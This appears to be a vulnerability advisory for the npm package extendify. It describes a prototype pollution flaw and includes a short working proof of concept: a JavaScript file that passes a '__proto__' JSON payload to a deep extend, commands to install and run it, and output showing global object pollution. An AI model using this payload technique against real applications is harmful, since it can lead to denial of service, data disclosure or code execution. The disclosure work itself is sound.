extendify

vulnerability prototype pollution
severity 7.3
language javascript
registry npm

Description

extendify is vulnerable to Prototype Pollution. This package allowing for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE.

Proof of Concept

  1. Create the following PoC file:
// poc.js
var extendify = require("extendify")
extend = extendify({isDeep: true});
const payload = JSON.parse('{"__proto__":{"polluted":"Yes! Its Polluted"}}');
var obj = {}
console.log("Before : " + {}.polluted);
extend(obj, payload);
console.log("After : " + {}.polluted);
  1. Execute the following commands in another terminal:
npm i extendify # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
After : Yes! Its Polluted